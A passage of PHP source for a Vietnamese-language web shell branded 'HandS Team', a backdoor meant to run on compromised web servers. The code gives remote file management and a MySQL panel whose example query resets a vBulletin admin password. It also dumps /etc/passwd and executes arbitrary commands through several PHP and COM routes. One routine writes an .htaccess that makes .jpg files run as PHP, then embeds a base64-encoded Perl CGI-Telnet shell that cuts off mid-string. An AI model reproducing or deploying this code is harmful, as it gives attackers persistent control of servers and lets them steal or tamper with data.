  612. p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  613. makehide('action','file');
  614. makehide('thefile');
  615. makehide('doing');
  616. makehide('dir',$nowpath);
  617. $file_i = '0';
  618. foreach($filedata as $key =>$filedb){
  619. if($filedb['filename']!='..'&&$filedb['filename']!='.') {
  620. $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  621. $thisbg = bg();
  622. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  623. p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  624. p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  625. p('<td nowrap>'.$filedb['mtime'].'</td>');
  626. p('<td nowrap>'.$filedb['size'].'</td>');
  627. p('<td nowrap>');
  628. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  629. p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  630. p('<td nowrap>');
  631. p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">T&#7843;i Xu&#7889;ng</a> | ');
  632. p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Sao Ch&#233;p</a> | ');
  633. p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Ch&#7881;nh S&#7917;a</a> | ');
  634. p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">&#272;&#7893;i T&#234;n</a> | ');
  635. p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Th&#7901;i Gian</a>');
  636. p('</td></tr>');
  637. $file_i++;
  638. }
  639. }
  640. p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">T&#7843;i Xu&#7889;ng</a> - <a href="javascript:dofile(\'delfiles\');"> X&#243;a File </a></td><td colspan="4" align="right">'.$dir_i.' Th&#432; M&#7909;c / '.$file_i.' Files</td></tr>');
  641. p('</form></table>');
  642. }
  643. ;echo '<script type="text/javascript">
  644. function mysqlfile(doing){
  645. if(!doing) return;
  646. $(\'doing\').value=doing;
  647. $(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
  648. $(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
  649. $(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
  650. $(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
  651. $(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
  652. $(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
  653. $(\'mysqlfile\').submit();
  654. }
  655. </script>
  656. ';
  657. if ($action == 'sqladmin') {
  658. !$dbhost &&$dbhost = 'localhost';
  659. !$dbuser &&$dbuser = 'HandS Team';
  660. !$dbport &&$dbport = '3306';
  661. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  662. if(isset($dbhost)){
  663. $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  664. }
  665. if(isset($dbuser)) {
  666. $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  667. }
  668. if(isset($dbpass)) {
  669. $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  670. }
  671. if(isset($dbport)) {
  672. $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  673. }
  674. if(isset($dbname)) {
  675. $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  676. }
  677. if(isset($charset)) {
  678. $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  679. }
  680. if ($doing == 'backupmysql'&&$saveasfile) {
  681. if (!$table) {
  682. m('Please choose the table');
  683. }else {
  684. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  685. $table = array_flip($table);
  686. $fp = @fopen($path,'w');
  687. if ($fp) {
  688. $result = q('SHOW tables');
  689. if (!$result) p('<h2>'.mysql_error().'</h2>');
  690. $mysqldata = '';
  691. while ($currow = mysql_fetch_array($result)) {
  692. if (isset($table[$currow[0]])) {
  693. sqldumptable($currow[0],$fp);
  694. }
  695. }
  696. fclose($fp);
  697. $fileurl = str_replace(SA_ROOT,'',$path);
  698. m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  699. mysql_close();
  700. }else {
  701. m('Backup failed');
  702. }
  703. }
  704. }
  705. if ($insert &&$insertsql) {
  706. $keystr = $valstr = $tmp = '';
  707. foreach($insertsql as $key =>$val) {
  708. if ($val) {
  709. $keystr .= $tmp.$key;
  710. $valstr .= $tmp."'".addslashes($val)."'";
  711. $tmp = ',';
  712. }
  713. }
  714. if ($keystr &&$valstr) {
  715. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  716. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ?'Insert new record of success': mysql_error());
  717. }
  718. }
  719. if ($update &&$insertsql &&$base64) {
  720. $valstr = $tmp = '';
  721. foreach($insertsql as $key =>$val) {
  722. $valstr .= $tmp.$key."='".addslashes($val)."'";
  723. $tmp = ',';
  724. }
  725. if ($valstr) {
  726. $where = base64_decode($base64);
  727. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  728. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ?'Record updating': mysql_error());
  729. }
  730. }
  731. if ($doing == 'del'&&$base64) {
  732. $where = base64_decode($base64);
  733. $delete_sql = "DELETE FROM $tablename WHERE $where";
  734. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  735. m(q("DELETE FROM $tablename WHERE $where") ?'Deletion record of success': mysql_error());
  736. }
  737. if ($tablename &&$doing == 'drop') {
  738. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  739. if (q("DROP TABLE $tablename")) {
  740. m('Drop table of success');
  741. $tablename = '';
  742. }else {
  743. m(mysql_error());
  744. }
  745. }
  746. $charsets = array(''=>'Default','gbk'=>'GBK','big5'=>'Big5','utf8'=>'UTF-8','latin1'=>'Latin1');
  747. formhead(array('title'=>'MYSQL Qu&#7843;n L&#253; '));
  748. makehide('action','sqladmin');
  749. p('<p>');
  750. p('DBHost:');
  751. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  752. p(':');
  753. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  754. p('DBUser:');
  755. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  756. p('DBPass:');
  757. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  758. p('DBCharset:');
  759. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  760. makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  761. p('</p>');
  762. formfoot();
  763. ;echo '<script type="text/javascript">
  764. function editrecord(action, base64, tablename){
  765. if (action == \'del\') {
  766. if (!confirm(\'Is or isn\\\'t deletion record?\')) return;
  767. }
  768. $(\'recordlist\').doing.value=action;
  769. $(\'recordlist\').base64.value=base64;
  770. $(\'recordlist\').tablename.value=tablename;
  771. $(\'recordlist\').submit();
  772. }
  773. function moddbname(dbname) {
  774. if(!dbname) return;
  775. $(\'setdbname\').dbname.value=dbname;
  776. $(\'setdbname\').submit();
  777. }
  778. function settable(tablename,doing,page) {
  779. if(!tablename) return;
  780. if (doing) {
  781. $(\'settable\').doing.value=doing;
  782. }
  783. if (page) {
  784. $(\'settable\').page.value=page;
  785. }
  786. $(\'settable\').tablename.value=tablename;
  787. $(\'settable\').submit();
  788. }
  789. </script>
  790. ';
  791. formhead(array('name'=>'recordlist'));
  792. makehide('doing');
  793. makehide('action','sqladmin');
  794. makehide('base64');
  795. makehide('tablename');
  796. p($dbform);
  797. formfoot();
  798. formhead(array('name'=>'setdbname'));
  799. makehide('action','sqladmin');
  800. p($dbform);
  801. if (!$dbname) {
  802. makehide('dbname');
  803. }
  804. formfoot();
  805. formhead(array('name'=>'settable'));
  806. makehide('action','sqladmin');
  807. p($dbform);
  808. makehide('tablename');
  809. makehide('page',$page);
  810. makehide('doing');
  811. formfoot();
  812. $cachetables = array();
  813. $pagenum = 30;
  814. $page = intval($page);
  815. if($page) {
  816. $start_limit = ($page -1) * $pagenum;
  817. }else {
  818. $start_limit = 0;
  819. $page = 1;
  820. }
  821. if (isset($dbhost) &&isset($dbuser) &&isset($dbpass) &&isset($connect)) {
  822. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  823. $mysqlver = mysql_get_server_info();
  824. p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  825. $highver = $mysqlver >'4.1'?1 : 0;
  826. $query = q("SHOW DATABASES");
  827. $dbs = array();
  828. $dbs[] = 'Ch&#7885;n M&#7897;t C&#417; S&#7903; D&#7919; Li&#7879;u';
  829. while($db = mysql_fetch_array($query)) {
  830. $dbs[$db['Database']] = $db['Database'];
  831. }
  832. makeselect(array('title'=>'H&#227;y Ch&#7885;n M&#7897;t C&#417; S&#7903; D&#7919; Li&#7879;u','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  833. $tabledb = array();
  834. if ($dbname) {
  835. p('<p>');
  836. p('Dababase Hi&#7879;n T&#7841;i: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  837. if ($tablename) {
  838. p(' | Table Hi&#7879;n T&#7841;i: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  839. }
  840. p('</p>');
  841. mysql_select_db($dbname);
  842. $getnumsql = '';
  843. $runquery = 0;
  844. if ($sql_query) {
  845. $runquery = 1;
  846. }
  847. $allowedit = 0;
  848. if ($tablename &&!$sql_query) {
  849. $sql_query = "SELECT * FROM $tablename";
  850. $getnumsql = $sql_query;
  851. $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  852. $allowedit = 1;
  853. }
  854. p('<form action="'.$self.'" method="POST">');
  855. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Ch&#7841;y Truy V&#7845;n Sql/Tr&#234;n C&#417; S&#7903; D&#7919; Li&#7879;u <font color=red><b>'.$dbname.'</font></b>:<BR>V&#361; D&#7909; M&#7853;t Kh&#7849;u VBB <font color=red>Marion001</font><BR><font color=yellow>UPDATE `user` SET `password` = \'20ec508bb4a6c454615f3414f6b47376\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
  856. </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  857. makehide('tablename',$tablename);
  858. makehide('action','sqladmin');
  859. p($dbform);
  860. p('</form>');
  861. if ($tablename ||($runquery &&$sql_query)) {
  862. if ($doing == 'structure') {
  863. $result = q("SHOW COLUMNS FROM $tablename");
  864. $rowdb = array();
  865. while($row = mysql_fetch_array($result)) {
  866. $rowdb[] = $row;
  867. }
  868. p('<table border="0" cellpadding="3" cellspacing="0">');
  869. p('<tr class="head">');
  870. p('<td>Field</td>');
  871. p('<td>Type</td>');
  872. p('<td>Null</td>');
  873. p('<td>Key</td>');
  874. p('<td>Default</td>');
  875. p('<td>Extra</td>');
  876. p('</tr>');
  877. foreach ($rowdb as $row) {
  878. $thisbg = bg();
  879. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  880. p('<td>'.$row['Field'].'</td>');
  881. p('<td>'.$row['Type'].'</td>');
  882. p('<td>'.$row['Null'].'&nbsp;</td>');
  883. p('<td>'.$row['Key'].'&nbsp;</td>');
  884. p('<td>'.$row['Default'].'&nbsp;</td>');
  885. p('<td>'.$row['Extra'].'&nbsp;</td>');
  886. p('</tr>');
  887. }
  888. tbfoot();
  889. }elseif ($doing == 'insert'||$doing == 'edit') {
  890. $result = q('SHOW COLUMNS FROM '.$tablename);
  891. while ($row = mysql_fetch_array($result)) {
  892. $rowdb[] = $row;
  893. }
  894. $rs = array();
  895. if ($doing == 'insert') {
  896. p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  897. }else {
  898. p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  899. $where = base64_decode($base64);
  900. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  901. $rs = mysql_fetch_array($result);
  902. }
  903. p('<form method="post" action="'.$self.'">');
  904. p($dbform);
  905. makehide('action','sqladmin');
  906. makehide('tablename',$tablename);
  907. p('<table border="0" cellpadding="3" cellspacing="0">');
  908. foreach ($rowdb as $row) {
  909. if ($rs[$row['Field']]) {
  910. $value = htmlspecialchars($rs[$row['Field']]);
  911. }else {
  912. $value = '';
  913. }
  914. $thisbg = bg();
  915. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  916. p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  917. }
  918. if ($doing == 'insert') {
  919. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  920. }else {
  921. p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  922. makehide('base64',$base64);
  923. }
  924. p('</table></form>');
  925. }else {
  926. $querys = @explode(';',$sql_query);
  927. foreach($querys as $num=>$query) {
  928. if ($query) {
  929. p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  930. switch(qy($query))
  931. {
  932. case 0:
  933. p('<h2>Error : '.mysql_error().'</h2>');
  934. break;
  935. case 1:
  936. if (strtolower(substr($query,0,13)) == 'select * from') {
  937. $allowedit = 1;
  938. }
  939. if ($getnumsql) {
  940. $tatol = mysql_num_rows(q($getnumsql));
  941. $multipage = multi($tatol,$pagenum,$page,$tablename);
  942. }
  943. if (!$tablename) {
  944. $sql_line = str_replace(array("\r","\n","\t"),array(' ',' ',' '),trim(htmlspecialchars($query)));
  945. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i"," ",$sql_line);
  946. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  947. $tablename = $matches[1][0];
  948. }
  949. $result = q($query);
  950. p($multipage);
  951. p('<table border="0" cellpadding="3" cellspacing="0">');
  952. p('<tr class="head">');
  953. if ($allowedit) p('<td>Ch&#7881;nh S&#7917;a</td>');
  954. $fieldnum = @mysql_num_fields($result);
  955. for($i=0;$i<$fieldnum;$i++){
  956. $name = @mysql_field_name($result,$i);
  957. $type = @mysql_field_type($result,$i);
  958. $len = @mysql_field_len($result,$i);
  959. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  960. }
  961. p('</tr>');
  962. while($mn = @mysql_fetch_assoc($result)){
  963. $thisbg = bg();
  964. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  965. $where = $tmp = $b1 = '';
  966. foreach($mn as $key=>$inside){
  967. if ($inside) {
  968. $where .= $tmp.$key."='".addslashes($inside)."'";
  969. $tmp = ' AND ';
  970. }
  971. $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  972. }
  973. $where = base64_encode($where);
  974. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">S&#7917;a</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">X&#243;a</a></td>');
  975. p($b1);
  976. p('</tr>');
  977. unset($b1);
  978. }
  979. tbfoot();
  980. p($multipage);
  981. break;
  982. case 2:
  983. $ar = mysql_affected_rows();
  984. p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  985. break;
  986. }
  987. }
  988. }
  989. }
  990. }else {
  991. $query = q("SHOW TABLE STATUS");
  992. $table_num = $table_rows = $data_size = 0;
  993. $tabledb = array();
  994. while($table = mysql_fetch_array($query)) {
  995. $data_size = $data_size +$table['Data_length'];
  996. $table_rows = $table_rows +$table['Rows'];
  997. $table['Data_length'] = sizecount($table['Data_length']);
  998. $table_num++;
  999. $tabledb[] = $table;
  1000. }
  1001. $data_size = sizecount($data_size);
  1002. unset($table);
  1003. p('<table border="0" cellpadding="0" cellspacing="0">');
  1004. p('<form action="'.$self.'" method="POST">');
  1005. makehide('action','sqladmin');
  1006. p($dbform);
  1007. p('<tr class="head">');
  1008. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1009. p('<td>Name</td>');
  1010. p('<td>Rows</td>');
  1011. p('<td>Data_length</td>');
  1012. p('<td>Create_time</td>');
  1013. p('<td>Update_time</td>');
  1014. if ($highver) {
  1015. p('<td>Engine</td>');
  1016. p('<td>Collation</td>');
  1017. }
  1018. p('</tr>');
  1019. foreach ($tabledb as $key =>$table) {
  1020. $thisbg = bg();
  1021. p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  1022. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1023. p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1024. p('<td>'.$table['Rows'].'</td>');
  1025. p('<td>'.$table['Data_length'].'</td>');
  1026. p('<td>'.$table['Create_time'].'</td>');
  1027. p('<td>'.$table['Update_time'].'</td>');
  1028. if ($highver) {
  1029. p('<td>'.$table['Engine'].'</td>');
  1030. p('<td>'.$table['Collation'].'</td>');
  1031. }
  1032. p('</tr>');
  1033. }
  1034. p('<tr class=fout>');
  1035. p('<td>&nbsp;</td>');
  1036. p('<td>Total tables: '.$table_num.'</td>');
  1037. p('<td>'.$table_rows.'</td>');
  1038. p('<td>'.$data_size.'</td>');
  1039. p('<td colspan="'.($highver ?4 : 2).'">&nbsp;</td>');
  1040. p('</tr>');
  1041. p("<tr class=\"fout\"><td colspan=\"".($highver ?8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> T&#7843;i Xu&#7889;ng File <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1042. makehide('doing','backupmysql');
  1043. formfoot();
  1044. p("</table>");
  1045. fr($query);
  1046. }
  1047. }
  1048. }
  1049. tbfoot();
  1050. @mysql_close();
  1051. }
  1052. elseif ($action == 'etcpwd') {
  1053. formhead(array('title'=>'Get /etc/passwd'));
  1054. makehide('action','etcpwd');
  1055. makehide('dir',$nowpath);
  1056. $i = 0;
  1057. echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  1058. while ($i <60000) {
  1059. $line = posix_getpwuid($i);
  1060. if (!empty($line)) {
  1061. while (list ($key,$vba_etcpwd) = each($line)){
  1062. echo "".$vba_etcpwd."\n";
  1063. break;
  1064. }
  1065. }
  1066. $i++;
  1067. }
  1068. echo "</textarea></p>";
  1069. formfoot();
  1070. }
  1071. elseif ($action == 'command') {
  1072. if (IS_WIN &&IS_COM) {
  1073. if($program &&$parameter) {
  1074. $shell= new COM('Shell.Application');
  1075. $a = $shell->ShellExecute($program,$parameter);
  1076. m('Program run has '.(!$a ?'success': 'fail'));
  1077. }
  1078. !$program &&$program = 'c:\windows\system32\cmd.exe';
  1079. !$parameter &&$parameter = '/c net start > '.SA_ROOT.'log.txt';
  1080. formhead(array('title'=>'Execute Program'));
  1081. makehide('action','shell');
  1082. makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1083. p('<p>');
  1084. makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1085. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1086. p('</p>');
  1087. formfoot();
  1088. }
  1089. formhead(array('title'=>'Execute Command'));
  1090. makehide('action','shell');
  1091. if (IS_WIN &&IS_COM) {
  1092. $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1093. makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1094. }
  1095. p('<p>');
  1096. makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1097. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1098. p('</p>');
  1099. formfoot();
  1100. if ($command) {
  1101. p('<hr width="100%" noshade /><pre>');
  1102. if ($execfunc=='wscript'&&IS_WIN &&IS_COM) {
  1103. $wsh = new COM('WScript.shell');
  1104. $exec = $wsh->exec('cmd.exe /c '.$command);
  1105. $stdout = $exec->StdOut();
  1106. $stroutput = $stdout->ReadAll();
  1107. echo $stroutput;
  1108. }elseif ($execfunc=='proc_open'&&IS_WIN &&IS_COM) {
  1109. $descriptorspec = array(
  1110. 0 =>array('pipe','r'),
  1111. 1 =>array('pipe','w'),
  1112. 2 =>array('pipe','w')
  1113. );
  1114. $process = proc_open($_SERVER['COMSPEC'],$descriptorspec,$pipes);
  1115. if (is_resource($process)) {
  1116. fwrite($pipes[0],$command."\r\n");
  1117. fwrite($pipes[0],"exit\r\n");
  1118. fclose($pipes[0]);
  1119. while (!feof($pipes[1])) {
  1120. echo fgets($pipes[1],1024);
  1121. }
  1122. fclose($pipes[1]);
  1123. while (!feof($pipes[2])) {
  1124. echo fgets($pipes[2],1024);
  1125. }
  1126. fclose($pipes[2]);
  1127. proc_close($process);
  1128. }
  1129. }else {
  1130. echo(execute($command));
  1131. }
  1132. p('</pre>');
  1133. }
  1134. }
  1135. elseif ($action == 'error.log') {
  1136. mkdir('error',0755);
  1137. chdir('error');
  1138. $kokdosya = ".htaccess";
  1139. $dosya_adi = "$kokdosya";
  1140. $dosya = fopen ($dosya_adi ,'w') or die ("Can not open file!");
  1141. $metin = "Options +FollowSymLinks +Indexes
  1142. DirectoryIndex default.html
  1143. ## START ##
  1144. Options +ExecCGI
  1145. AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
  1146. AddType application/x-httpd-php .jpg
  1147. RewriteEngine on
  1148. RewriteRule (.*)\.war$ .log
  1149. ## END ##";
  1150. fwrite ( $dosya ,$metin ) ;
  1151. fclose ($dosya);
  1152. $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+SGFuZFMgVGVhbTwvZm9udD4iOwokUGFzc3dvcmQgPSAiSGFuZFNUZWFtIjsJCQkKc3ViIElzX1dpbigpewokb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCiROVENtZFNlcCA9ICImIjsJCQkKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CiRTaG93RHluYW1pY091dHB1dCA9IDE7CiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTMwOwokcm93cz0gMjY7CnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFbmNvZGVEaXIKewoJbXkgJGRpciA9IHNoaWZ0OwoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7CgkkZGlyID1+IHMvKFxyfFxuKS8vOwoJcmV0dXJuICRkaXI7Cn0KIy0tLS0tLS0tLS0tLS0tLS0t